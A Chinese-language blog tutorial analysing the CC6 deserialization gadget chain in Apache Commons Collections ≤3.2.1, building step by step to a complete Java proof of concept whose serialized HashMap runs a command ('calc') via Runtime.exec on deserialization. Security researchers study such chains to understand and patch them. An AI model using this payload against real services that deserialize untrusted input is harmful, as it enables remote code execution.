CC6利用链分析

经过之前对CC1链URLDNS链的分析,现在已经对反序列化利用链有了初步的认识,这次来分析一个最好用的CC利用链——CC6。

为什么CC6是最好用的CC利用链,因为CC6不限制jdk版本,只要commons collections 小于等于3.2.1,都存在这个漏洞。

前置知识

1. 回顾CC1

根据之前对CC1链的分析,可以知道用ChainedTransformer配合InvokerTransformer可以进行命令执行。具体原理请看我之前文章的第二节的1~4小节的内容。

Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
ct.transform("1");

2. 高版本jdk的修改

在jdk8u_71之后,AnnotationInvocationHandler类被重写了,修改了readObject方法,里面没有了setValue方法。

这是jdk17.0.9的sun.reflect.annotation.AnnotationInvocationHandler#readObject的readObject方法

第593行新建了一个名为mv的LinkedHashMap,然后mv的数据在第597行开始通过for循环里面的逻辑给mv添加值,所有的操作都是基于这个新建的LinkedHashMap操作的,所以至此利用链就断开了,无法按照我们的预期进行,所以需要寻找新的利用链了。

寻找新利用链

1. LazyMap

右键查找ChainedTransformer的transform方法的用法,定位到LazyMap的get方法

LazyMap关键代码,可以通过LazyMap的get方法调用ChainedTransformer的transform方法

protected final Transformer factory;
public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

可以通过decorate传值,生成一个LazyMap对象。

成功命令执行

Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), ct);
lazymap.get("1");

接下来继续寻找入口点

2. TiedMapEntry

ysoserial的作者找到了TiedMapEntry这条链,TiedMapEntry关键代码

public Object getValue() {
return map.get(key);
}
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

TiedMapEntry的hashCode方法调用了getValue,getValue调用了get方法,所以可以用TiedMapEntry的hashCode方法调用LazyMap的get方法

成功命令执行

Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), ct);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");
tiedMapEntry.hashCode();

接下来寻找谁调用了hashCode方法

3. HashMap

通过之前对URLDNS链的研究可知,HashMap的readObject方法有如下这行语句

putVal(hash(key), key, value, false, false);

而HashMap的hash方法调用了hashCode方法

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

而key的值是从readObject获取的

K key = (K) s.readObject();

序列化时可以用HashMap的put方法传key和value

hashMap.put(tiedMapEntry, "1");

但是HashMap的put方法会提前调用hash方法,导致提前走完流程

public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

试一下HashMap.put

Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), ct);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "value");

调整利用链

1. HashMap的put

由于HashMap的put方法会导致提前调用hash方法,从而在序列化前就命令执行,所以这里修改一下代码。

这里选择在新建LazyMap对象的时候,随便传入一个Transformer对象,等put完之后再通过反射修改回ChainedTransformer对象。

Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2"); HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");

反射修改lazymap的factory的值

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, ct);

然后尝试进行序列化和反序列化

serial(hashMap);
unserial();

代码执行了,但是没有出现预期的命令执行弹出计算器,这是为什么呢?

2. LazyMap的get

HashMap的put方法调用了hash(key),hash方法调用了key.hashCode(),进而执行tiedMapEntry.hashCode()方法,然后就会执行lazymap.get()

调试一下,定位到LazyMap的get方法,这里map.containsKey(key)是true,所以不会执行tramsform,从而不会命令执行。

可是我也没有给lazymap传入key为2的数据啊,这是为什么捏?

注意,问题还是LazyMap的get方法

序列化前的操作:如果map没包含这个key,那么就给map传入这个键值对。

这样就会导致反序列化时map里已经存在这个key了,所以不会执行factory.transform(key),从而导致无法命令执行。

所以,我们需要在hashMap.put之后,把lazymap的ley删除掉

lazymap.remove("2");

利用链

HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

完整POC

至此,所有调整已经完成了

package zzy;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map; public class Blog {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3"); lazymap.remove("2"); Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, ct); serial(hashMap);
unserial();
} public static void serial(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
out.writeObject(obj);
} public static void unserial() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc6.bin"));
in.readObject();
}
}

命令执行成功

Java反序列化漏洞-CC6链分析的更多相关文章

  1. 通过WebGoat学习java反序列化漏洞

    首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...

  2. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  3. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  4. WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)

    10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...

  5. Java反序列化漏洞实现

    一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...

  6. java反序列化漏洞原理研习

    零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...

  7. Java反序列化漏洞之殇

    ref:https://xz.aliyun.com/t/2043 小结: 3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景 在java编写的 ...

  8. java 反序列化漏洞检测及修复

    Jboss.Websphere和weblogic的反序列化漏洞已经出来一段时间了,还是有很多服务器没有解决这个漏洞: 反序列化漏洞原理参考:JAVA反序列化漏洞完整过程分析与调试 这里参考了网上的 J ...

  9. Java反序列化漏洞的挖掘、攻击与防御

    一.Java反序列化漏洞的挖掘 1.黑盒流量分析: 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输.因而在流量中有一 ...

  10. Lib之过?Java反序列化漏洞通用利用分析

    转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...

随机推荐

  1. FastGPT 接入飞书(不用写一行代码)

    FastGPT V4 版本已经发布,可以通过 Flow 可视化进行工作流编排,从而实现复杂的问答场景,例如联网谷歌搜索,操作数据库等等,功能非常强大,还没用过的同学赶紧去试试吧. 飞书相比同类产品算是 ...

  2. SQL函数升序Asc,降序Desc使用总结

    关键字-升序Asc及降序Desc的使用语法 对某一结果集按列进行升序或降序排列即:结果集 Order by 列名/数字 Asc/Desc. 一.Asc,Desc排序讲以下5点 1.不写关键字Asc/D ...

  3. Vue2系列(lqz)——Vue基础

    文章目录 Vue介绍 一 模板语法 1.1 插值 1.1.1 概述 1.1.2 案例 二 指令 2.1 文本相关指令 2.2 事件指令 2.3 属性指令 三 class与style 3.1 class ...

  4. linux常用命令(八) tar 打包、压缩、解包、解压缩

    Linux 常用的压缩与解压缩命令有:tar.gzip.gunzip.bzip2.bunzip2.compress .uncompress. zip. unzip.rar.unrar 等. 首先要弄清 ...

  5. [自制工具]简便易用的ADDM报告生成工具

    ■■ Oracle ADDM简介 ADDM全称是Automatic Database Diagnostic Monitor,是Oracle实现性能自我诊断的最佳利器.它依赖于AWR,我们知道AWR会自 ...

  6. 黄金眼PAAS化数据服务DIFF测试工具的建设实践

    一.背景介绍 黄金眼PAAS化数据服务是一系列实现相同指标服务协议的数据服务,各个服务间按照所生产指标的主题作划分,比如交易实时服务提供实时交易指标的查询,财务离线服务提供离线财务指标的查询.黄金眼P ...

  7. 【短道速滑十一】标准的Gabor滤波器及Log_Gabor滤波器的实现、解析、速度优化及其和Halcon中gen_gabor的比较。

    最近有朋友在研究Halcon中gen_gabor的函数,和我探讨,因为我之前也没有怎么去关注这个函数,因此,前前后后大概也折腾了有一个星期去模拟实现这个东西,虽然最终没有实现这个函数,但是也是有所收获 ...

  8. Git文件权限与filemode配置方法

    一.问题 Clion是一个跨平台的IDE,今天将工程运行在Ubuntu下,在Git提交时发现有很多文件显示被更改,但是文件内容却是相同的. 二.Git 规则 Git对文件访问权限的管理与配置选项cor ...

  9. SyntaxError: Non-ASCII character 与 Cannot decode using encoding "ascii" 错误解决

    转载请注明出处: python调试时遇到的两个相同的编码错误进行总结: 1.错误:Cannot decode using encoding "ascii", unexpected ...

  10. LabVIEW基于机器视觉的实验室设备管理系统(4)

    目录 行动计划 后面板连线 初始化 ​返回 ​ 注册 账号限制 查重账号或者姓名 确认密码 注册 效果演示 我们上一期制作完了给账户修改密码,那么我们这一期就来完成账户注册这一功能.老规矩哦,先来计划 ...